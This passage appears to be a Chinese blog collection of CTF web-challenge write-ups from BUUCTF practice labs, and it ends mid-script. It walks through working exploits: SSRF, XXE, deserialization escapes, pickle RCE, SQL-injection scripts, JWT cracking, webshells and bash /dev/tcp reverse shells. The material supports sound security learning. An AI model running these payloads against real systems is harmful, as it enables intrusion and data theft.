ssrfme

看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

直接上git下载的源码,所以省略了还原格式的麻烦过程

1
2
3
4
5
6
7
8
if(waf(param))
return "No Hacker!!!!"
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

param是get获取的,过滤了gopher和file协议,然后

接着是这一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
    task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

把获取到的cookie中的变量action,sign以及获取到的remote_addr值,以及get得到的param作为参数创建一个Task类的对象

先要检测sgin是否为secert_key,param,acrtion三个字符串拼接成的值,secert_key是未知的,MD5是不可逆的,但这个MD5之后的值是可以在/geneSign获取到的

但action是固定为"scan"

如果action中有scan,则会读取param文件的内容的前50个字符并写入新生成的文件夹中的一个result.txt中,往后如果action中有read,则会将该文件读取出

但获取sign时action只能是"scan",于是要得到含有read的字符串,只能在之前的/geneSign中的param的末尾加上read,然后写个脚本,一键获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url1 = 'http://6ed5d193-c7cc-4987-839d-86c8afba9325.node4.buuoj.cn:81/'

ssrf = 'flag.txt'

re1 = requests.get(url=url1+'geneSign?param={}read'.format(ssrf))


headers = {
"Host": "6ed5d193-c7cc-4987-839d-86c8afba9325.node4.buuoj.cn:81",
"Cookie": "action=readscan;sign={}".format(re1.text)
}


print(headers)
re2 = requests.get(url=url1+'De1ta?param={}'.format(ssrf),headers=headers)


print(re2.text)

[0CTF 2016]piapiapia

源码泄露,代码审计,反序列化字符串逃逸

打开靶机看到登录界面,经过检测发现账号密码有长度限制,并且限制在了3到16,访问www.zip,常见源码泄露

发现有注册界面register.php,注册个账号上去,然后直接进入了update.php界面,查看源码,有输入限制,输入正常格式的信息,上去之后进入profile.php页面,发现上传的图片是base64格式,查看源码

1
2
3
4
5
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

有反序列化,查看update.php:

1
2
3
4
5
6
7
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

往上看发现nickname不是真正严格限制长度的:

if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname’]) || strlen($_POST[‘nickname’]) > 10)
这里可以将nickname改为数组,strlen处理的是字符串,数组被当做字符串处理时是Array,即可绕过

再配合上后面的update_profile方法中的filter方法,将字符串where替换为hacker后长度加一,可以逃逸

config.php的内容为:

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

后面flag值在靶机中肯定是被替入了flag,因此需要读取的目标文件就是config.php

和反序列化对象逃逸道理一样:首先将需要逃逸的字符串得到:

“;}s:5:”photo”;s:10:”config.php

长度为31,加上31个where,加上需要逃逸字符串

替换之后,读取到31个hacker字符串则截止,后面再加上";}

接着是读取了逃逸的字符串,之后的字符串则作废,于是profile页面得到的$profile['photo']值为config.php

更新成功,进入profile页面,源码进行base64解码即可

[NCTF2019]Fake XML cookbook

xxe->外部实体注入漏洞,只能说又老又新的新知识

打开靶机是登录界面,这是晃人的,因为根本登不入,当然是后话了

首先弱密码,sql注入之类的都试一遍,然后看看源码泄露也都是404

抓个包发现输入的内容是在消息的body部分,而且不是常见的post传参赋值的数据,应该就是题目写的xml数据

根据题目搜索xml漏洞知识,找到xxe知识——>入门级知识

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY muhua SYSTEM "file:///flag"
>]>

muhua就是我定义的一个外部实体

而通过测试可知:

1
<user><username>&muhua;</username><password>a</password></user>

回显的内容是由username标签以及user标签包起来的部分,成功调用内部实体,使用file协议成功显示出想要的内容

[网鼎杯 2020 朱雀组]Nmap

打开靶机首页写着nmap

nmap是一个扫描工具,常常用于扫描ip端口,由于经验可知,一般使用前都会执行一下两个函数

1
2
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

一般的命令执行绕过是会被破坏掉的

该题是考察escapeshellargescapeshellcmd这两个过滤函数配合造成的单引号漏洞,有文章的:链接
escapeshellarg函数先进行对特殊符号转义并加上单引号(escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的),第二个函数再对特殊符号进行转义且对未匹配的引号进行转义,导致第一个函数加的转义符号被转义,而单引号因为配对未被转义,最终末尾的单引号被加上转义符号,但前面的转义符号以及被解释为非转义符号,导致,后面添加的转义符号也实现,因此传入的代码成功绕过

利用该方法绕过,结合nmap实现多参数写入文件

过滤了php

host=’%20%20-oG%20muhua.phtml%20’

利用短标签和phtml写马,然后直接访问muhua.phtml即可利用到该shell

[WUSTCTF2020]朴实无华

打开靶机页面什么也没有,访问robots.txt

提示fAke_f1agggg.php

继续访问到,但页面上什么也没有,抓包,查看响应头:

fl4g.php

源码编码有点问题,但问题不大嘞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>

一些简单的小trick,直接绕:

?num=1e9&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[GWCTF 2019]枯燥的抽奖

靶机显示就一个提交,而且返回也是js处理,于是抓包,发送,看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

一开始以为$_SESSION[‘seed’]是在cookie处修改session就可控的,但发现只是变成静态,但究竟是多少还是未知,于是利用工具脚本爆

先简单改一下源码把以seed为种子得到的随机数得到

1
2
3
4
5
6
7
8
9
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str1 = "Y1OZ1cSbRB";
$len=strlen($str1);
for($i=0;$i<$len;$i++){
echo strpos($str_long1,$str1[$i])." ";
echo strpos($str_long1,$str1[$i])." ";
echo "0 ";
echo (strlen($str_long1)-1)." ";
}

60 60 0 61 27 27 0 61 50 50 0 61 61 61 0 61 27 27 0 61 2 2 0 61 54 54 0 61 1 1 0 61 53 53 0 61 37 37 0 61

工具下载:地址

下载放到kali里面(脚本需要c编译使用,kali里面有gcc编译环境)

1
2
3
4
5
6
7
8
9
10
11
tar -zxvf php_mt_seed-4.0.tar.gz    #解压
cd php_mt_seed-4.0 #进入文件夹
gcc php_mt_seed.c -o php_mt_seed #编译 可能会报几个汪宁
./php_mt_seed 60 60 0 61 27 27 0 61 50 50 0 61 61 61 0 61 27 27 0 61 2 2 0 61 54 54 0 61 1 1 0 61 53 53 0 61 37 37 0 61 #直接用
# Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
# Version: 3.0.7 to 5.2.0
# Found 0, trying 0xfc000000 - 0xffffffff, speed 76.1 Mseeds/s
# Version: 5.2.1+
# Found 0, trying 0x0e000000 - 0x0fffffff, speed 0.8 Mseeds/s
# seed = 0x0f697427 = 258569255 (PHP 7.1.0+)
# Found 1, trying 0x90000000 - 0x91ffffff, speed 0.8 Mseeds/s

爆的有点小慢,种子是258569255,php版本是7.1以上

1
2
3
4
5
6
7
8
9
10
11
12
<?php
mt_srand(258569255);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";

// 得到正确字符串
// Y1OZ1cSbRBd5L5tW8BzT

[FBCTF2019]RCEService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<html>
<body>
<h1>Web Adminstration Interface</h1>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>

通过%0a绕过正则(没源码怎么想得到啊,一般来说应该是可以尝试让正则过滤爆栈,但似乎不行,直接程序停止了)

GET:

1
?cmd={%0a"cmd":"ls%20/"%0a}

发现不在根目录下

怎么会有不ban通配符的waf啊,那直接写个马

1
/?cmd={%0a"cmd":"echo%20'<?=eval($_REQUEST[1]);'>1.php"%0a}

ls看一眼确实在那里,于是直接蚁剑连上去,然后翻到home里面的rceservice,找到flag

[GYCTF2020]Ezsqli

测试发现是数字型注入

有回显,但不显示报错,盲注

过滤:

ord in

正则规则大概是in之前不能有字符

if(substr(database(),{0},1)=’{1}’,1,2)

当前数据库名:

give_grandpa_pa_pa_pa

常用的三个库都因为对in的正则被过滤了,最后用的这个表sys.schema_table_statistics_with_buffer

users233333333333333,f1ag_1s_h3r3_hhhhh

有点类似php弱类型比较

首先检测出两个字段,如果字段不对应会返回bool(false),首先还得注出第一个字段,得到是1,保证前一个字段相等的情况下才能比较第二个字段,也就是我想要的flag,于是简单写个脚本进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
import re
import string

url = 'http://c9a3004a-d858-4295-8602-533b821881f2.node4.buuoj.cn:81/index.php'

str = '|' + string.ascii_lowercase + string.ascii_uppercase + '{' + '}' + '_' + ',' + '-' + string.digits + '~'

result = ''
end = 0

for x in range(129):
y = chr(x)
data = {
# "id":"if(substr(database(),{0},1)='{1}',1,2)".format(i,j)
# "id":"if(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1)='{1}',1,2)".format(i,j)
"id":"if((select 1,'{0}')>(select*from f1ag_1s_h3r3_hhhhh),1,2)".format(y)
}
print(x)
re = requests.post(url,data).text
if 'Nu1L' in re:
# result = result + j
result = result + chr(x-1)
print(result)
print(re)
break

for i in range(1,100):
# for j in str:
for j in range(130):
k=chr(j)
data = {
# "id":"if(substr(database(),{0},1)='{1}',1,2)".format(i,j)
# "id":"if(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1)='{1}',1,2)".format(i,j)
"id":"if((select 1,'{0}{1}')>(select*from f1ag_1s_h3r3_hhhhh),1,2)".format(result,k)
}
# print(data)
print(j)
re = requests.post(url,data).text
# if j=='~':
# end = 1
# break
if j==125:
end = 1
# print(re)
if 'Nu1L' in re:
# result = result + j
result = result + chr(j-1)
print(result)
print(re)
break
if end==1:
break

print(result)

得到的flag还要转个小写,也不长,所以就。。。

[RCTF2015]EasySQL

先进行账号的注册,账号会被转义然后写入数据库,当在修改密码处再次读出账号名时就会发生二次注入

二次注入,双引号闭合,用括号代替空格,报错注入

username=”%26%26extractvalue(1,concat(‘~’,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))%23

XPATH syntax error: ‘~article,flag,users’

“%26%26extractvalue(1,concat(‘~’,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’flag’))))%23

XPATH syntax error: ‘~flag’

“%26%26extractvalue(1,concat(‘~’,(select(group_concat(flag))from(flag))))%23

RCTF{Good job! But flag not her

……被骗了

字符串截取函数被ban了

“%26%26extractvalue(1,concat(‘~’,(select(length(group_concat(flag)))from(flag))))%23

XPATH syntax error: ‘~36’

“%26%26extractvalue(1,concat(‘~’,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’))))%23

XPATH syntax error: ‘~name,pwd,email,real_flag_1s_her’

like也被过滤了

使用regexp进行正则匹配

“%26%26extractvalue(1,concat(‘~’,(select(group_concat(column_name))from(information_schema.columns)where(column_name)regexp(‘real_flag_1s_her’))))%23

XPATH syntax error: ‘~real_flag_1s_here’

“%26%26extractvalue(1,concat(‘~’,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘flag’))))%23

XPATH syntax error: ‘~flag{60472e5c-a705-43ca-8265-4f’

逆序函数reverse

“%26%26extractvalue(1,concat(‘~’,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp(‘flag’))))%23

XPATH syntax error: ‘~}46c16f43b5f4-5628-ac34-507a-c5’

简单在linux命令行写入再使用rev命令逆序即可将其变回

5c-a705-43ca-8265-4f5b34f61c64}

flag{60472e5c-a705-43ca-8265-4f5b34f61c64}

[CISCN2019 华北赛区 Day1 Web2]ikun

一开始没看懂hint,然后才知道是要找lv6等级的账号,翻了一下,一共有500页,写脚本找一下

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://f47ddea0-7dd3-40e7-b170-22de5dec99e8.node4.buuoj.cn:81/shop'

for i in range(600):
payload = '?page={}'.format(i)
page = requests.get(url=url+payload)
if 'lv6.png' in page.text:
print(page.text)
print(i)

找到在181页,但价格远远超过余额,抓包,将折扣改为0.0000000001,成功,重定向到页面/b1g_m4mber,但显示必须得是admin,cookie处有个变量jwt,解密网站看一眼,,使用c工具爆破一下密码:

1
2
> ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
# Secret is "1Kun"

修改username为admin,通过加密网站加密成jwt

修改jwt的值再刷新,出现一键成为大会员,抓包发送:

POST:

beacome=admin

看一眼个人中心,此时已经变成了admin,有一串Unicode编码字符串,解密一下:

这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

有个源码泄露:
Admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

这里有一个pikle反序列化的点:
魔术方法__reduce__

__reduce__(self)

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 __setstate__ 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

当然,此时只需要一个eval方法和一个文件读取函数执行即可

于是构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import urllib

class payload(object):
def __reduce__(self):
# return (eval,("__import__('os').popen('ls').read()",))
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

# 得到字符串:
# c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

post方法传给become,得到参数后

1
2
3
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)

become被url解码,然后被反序列化,此时触发魔术方法__reduce__,执行文件读取后的结果返回给p,文件内容在页面回显

[HarekazeCTF2019]encode_and_encode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

ban了目录穿越,ban了一堆协议,ban了flag

json_decode函数会将json对象解码成数组时会进行一个Unicode解码,可以进行一些字符串绕过,使用伪协议实现任意文件读取,进行一个base64的编码,绕过后面的正则匹配和正则替换

{“page”:”\u0070hp://filter/convert.base64-encode/resource=/\u0066lag”}

[BSidesCF 2019]Kookie

直接抓包改cookie头,加一个:

username=admin

[HITCON 2017]SSRFme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

有点麻烦,本地测试了一下,基本可以实现任意文件读取,虽然xff很奇怪的无法控制,但他会显示出来,本地试一下就知道了

任意文件读取的原因是:get命令可以进行ssrf,比方说获取目录,或任意文件内容,然后后面的file_put_contents函数将其存到可控目录的可控文件里

获取根目录:

?url=/&filename=1

然后去看一眼,有flag,尝试读取,发现空的,有权限限制:

-r——– 1 root root 43 Nov 18 12:57 /flag

尝试利用readflag,这里涉及到一个:perl脚本GET open命令漏洞

简单来说就是get调用open函数时,可以使用file协议,检查到以该命令为名字的文件存在后,造成命令执行漏洞

先创建一个文件:

url=/&filename=bash -c /readflag|

虽然可以直接执行/readflag,但如果这样就会检测:/readflag|,检测不到就无法执行了

这样就创建好当前文件夹下bash -c 文件夹下的一个readflag|

于是执行:

url=file:bash -c /readflag&filename=a
检测到文件存在后执行,于是将readflag执行的结果放入文件a中,访问即可获取

简单的cookie伪造

查看cookie,session值是base64格式,解码:

{“money”: 50, “history”: []}

尝试修改money的值,刷新之后发现恢复了,被重定向了

先买一个Pepparkaka试试,解码是:

{“money”: 40, “history”: [“Yummy pepparkaka”]}

修改money值为100,也就是session值为:

eyJtb25leSI6IDEwMCwgImhpc3RvcnkiOiBbXX0=

点击购买,获取响应头的session,解码,在history出得到flag

[WUSTCTF2020]CV Maker

注册,检查了邮箱的格式,加上@和点号,注册成功,登录成功,有点问题,会跳js弹窗

头像处直接给了上传点,还是使用文件相对路径进行调用,也就是给出了调用的图片文件名,直接上传个空的txt文件试试,有函数检测:

exif_imagetype

该函数会检测文件开头的签名

抓包,改名为1.php,文件内容:

1
2
GIF89a
<?php eval();phpinfo();?>

传,查看回显,访问上传的文件,看到了phpinfo界面,闲的没事,弹个shell

?1=shell_exec(‘bash -c “bash -i >%26 /dev/tcp/ip/端口 0>%261”‘);

在根目录下找到一个Flag_aqi2282u922oiji

[CISCN2019 总决赛 Day2 Web1]Easyweb

查一下robots.txt

1
2
User-agent: *
Disallow: *.php.bak

把所知的index.phpuser.phpimage.php都试了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

有一个存在过滤的mysql的点

本地测试一下,
addslashes函数会将单引号和%00(也就是\0,即ascii码为0的null)进行转义

然后又使用替换函数将\\0给替换为空,但实际上替换掉的就是\0这个组合,因为array("\\0","%00","\\'","'")是以字符串数组为白名单,而字符串中\本身也需要转义,否则会被视为转义下一个字符的一个功能字符

同时,传入的\也会被该函数转义为\\

并且\\并没有在白名单中

于是当我们输入\0\会被转义为\\,而0仅仅是一个0字符不会被进行任何处理

接着下一步替换,替换掉字符\\0中的\0,于是此时就成功逃逸出了一个\,同时也没有过滤掉注释符,那么就可以开始sql注入了,由于不存在回显和报错,因此直接根据界面显示的图片的参数进行布尔盲注

当前库名:

ciscnfinal

也只有这俩库了

information_schema,ciscnfinal

查一下表名:
images,users

列名:
username,password

admin74d7dd59349e3d73575a

登录

文件上传,不能传php文件,上传phtml文件

I logged the file name you uploaded to logs/upload.e5b512a3e597a45a0a81d06711a1a3db.log.php. LOL

访问到logs/upload.e5b512a3e597a45a0a81d06711a1a3db.log.php,只记录了文件名

User admin uploaded file 1.phtml.

因为是php文件,直接文件名写马,文件名不能有php,使用短标签绕过:

filename=”

GET:

?1=phpinfo();

成功显示页面,随便弹个shell:

?1=shell_exec(‘bash -c “bash -i >%26 /dev/tcp/ip/端口 0>%261”‘);

根目录下获取到flag

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import string

url = 'http://0449b095-3972-46d9-8e0e-387566abdb31.node4.buuoj.cn:81/image.php?id=\\0&path= or id='

str = '|' + string.ascii_lowercase + string.ascii_uppercase + '{' + '}' + '_' + ',' + '-' + string.digits + '~'

result = ''
end = 0

for i in range(1,100):
for j in str:
k = ord(j)
# payload = 'if(ord(substr(database(),{0},1))={1},1,2)%23'.format(i,k)
# payload = 'if((select(ord(substr(group_concat(schema_name),{0},1)))from(information_schema.schemata))={1},1,2)%23'.format(i,k)
# payload = 'if((select(ord(substr(group_concat(table_name),{0},1)))from(information_schema.tables)where(table_schema=database()))={1},1,2)%23'.format(i,k)
